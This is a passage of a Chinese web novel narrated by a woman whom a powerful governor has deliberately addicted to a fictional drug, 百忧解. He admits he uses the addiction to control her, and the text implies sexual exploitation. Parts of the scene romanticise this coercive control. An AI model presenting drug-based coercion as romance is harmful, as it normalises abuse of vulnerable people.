眼下正值阳春三月,鸟语花香。柳树也发芽了,迎春花也开了,湖泊也解冻了。本姑娘心情最近太郁闷,不得不找点乐子来自我安慰一下。

“唉,真好啊……”

找个刚冒出小草儿的地方一屁股坐下,我抬头望著蓝蓝的天,伸手拿出一个馒头就著西红柿炒鸡蛋就咬了一大口。

柳砚那王八蛋给我吸的东西叫百忧解,我开始的时候只觉得吸了後心里特别的痛快,好像人世间所有的悲伤都不是自己了的一般。但是越到後来越觉得不对劲,因为虽然身体上没什麽不适,但是隔段时间不吸我就会想。

那种想不是单纯的愿望,而是会随著时间的推移如果不能被满足就会便疯狂的强烈欲望。开始的时候还只是想的难受,浑身都不自在。到最後就会全身抽搐,翻著白眼蜷缩在地上哀号打滚……

靠。

後来我才知道,这东西来自西域藩国,是那边的皇帝对付不忠诚的臣子用的“毒药”。人只要对百忧解一上瘾,就会像得了失心疯一样,完全失去理智。只要给他吸,让他做什麽都可以。

显国原本是明令禁止百忧解流传的,但是一些有钱的公子哥儿因为贪图吸食後的快感还会出高价让烟贩子们偷偷从国外运过来。有些人得逞了,一夜暴富;而有些人的货却被海关拦下,自然而然的就落到柳砚这个海防总督的手里。

我真恨我自己,居然就这麽无知的著了他的道儿。

“哟,我说中午吃饭的时候你不见人影儿呢,敢情自己躲在这里开小灶。怎麽,不愿意和本官同桌吃饭麽?”

越烦见谁,谁就偏偏出现。

正吃的高兴,头顶上却忽然笼罩下来一片阴影,不是柳砚那石墙一般的高大身形又能是谁。

“干嘛?”

只瞟了他一眼我便不再看他,依旧吃我的馒头喝我的酒。平时吸了那东西在床上翻来覆去的任他摆弄就罢了,清醒的时候我再不愿意对著他像个畜生一样摇尾乞怜。

我烦他了,我还从来没像烦他一样厌恶过一个人,这绝对是真的。

“瞧瞧,啧,你这是身什麽打扮?本官赐给你的绫罗绸缎呢?”

我不理他,这男人好像也不觉闷。自己踱著官步绕著我的身体转了一圈,末了,还傲慢的用脚尖踢了踢我的粗布裤脚。

“我不高兴穿,不行麽?”

干巴巴的一口馒头噎人的下肚,连特意命人去集市上打来的兑了水的二两酒也不再令我喝的有滋有味了。

一瞬间,我所有的快乐都伴随著这个人的出现而消失殆尽,柳砚啊柳砚,你是我的冤家派来玩我的吧?

“呵,有意思。”

见我一副不买账的样子,柳砚笑了笑,而後竟然提著衣摆就在我的身边坐了下来。

“你以为我不知道你在想什麽啊,你是想用这种平民的生活方式找回真实活著的感觉对不对?”

“……”

“吸百忧解让你觉得虚幻、不踏实,我这总督府又是奢靡铺张让你觉得更堕落。所以你要吃苦,要平庸,要想办法提醒自己到底想要什麽样的生活。”

“你……”

手指一松,原本握著的半个馒头失神的滚落到了地上。我讶异的望著他,男人那张英俊的脸此时看起来是那样的扑朔迷离。

真没想到,我宁莫言活了这麽多年,最了解我的竟然是这个从不把我当人看的变态男人……

他说的没错,我是不喜欢奢靡。

太过奢靡的生活让我觉得欲望无限膨胀,总是追逐不到一个踏实的尽头。一个人,如果不管要什麽都能轻易拥有,而且不用付出任何努力,那她活著还有什麽意思呢?

“你放弃吧,没用的。”

似乎也跟著享受起和煦的春风和碧蓝的天,柳砚用双手撑著草地,懒洋洋的伸直了双腿。

“只要你对百忧解上了瘾,就永远不会再有真实的生活。你的世界只剩下快乐和不快乐。抽烟让你快乐,不抽让你痛苦……所以,为了这快乐你什麽都愿意做。”

“承认吧女人,这就是你的宿命。”

他转过头,目光灼灼。

“你……我做错了什麽你要这样对我!!!”

再也听不下去他口中的一个字,我愤恨的扑过去用力卡住他粗壮的脖子。我发誓我将双手收的很紧,但是柳砚这家夥却连眉头都没眨一下,细长的眼睛中满是怜悯。

“你什麽都没做错,只是你对我来说太有用了。而你这女人心思又忒狡诈,所以我也没办法,只有这样才是控制你的最好方式。”

“你说什麽乱七八糟的!我对你能有什麽用?!我说了我不知道沅唯九在哪不知道不知道!!你是聋子吗!!”

“现在已经不是你知不知道的问题,宁莫言,你对我的用处比你自己想象中要多得多。”

轻而易举的便将我的两只手从他脖子上扯下来,柳砚看著我,看著我快哭出来的脸。倏地,他竟低下头轻轻吻了我的额头。

“别哭,只要你乖乖听话,我可以给你一辈子的百忧解。”

“呜……”

我恨死他了,我不要百忧解,我要离开这里,做正常人。哪怕回云府当家妓也比待在这里强十倍。

“告诉你一个好消息吧──”

见我咬著嘴唇,眉头紧皱著仍然陷在无尽的悲伤之中。柳砚想了想,忽然拍了拍我的脸颊,轻轻的说。

“你威风凛凛的情人聂统领马上就要回来了。不是好久没见了吗,你猜,他去了哪?”



上一篇刚出社会的小舞下一篇[都市]漫花之舞(全本)-17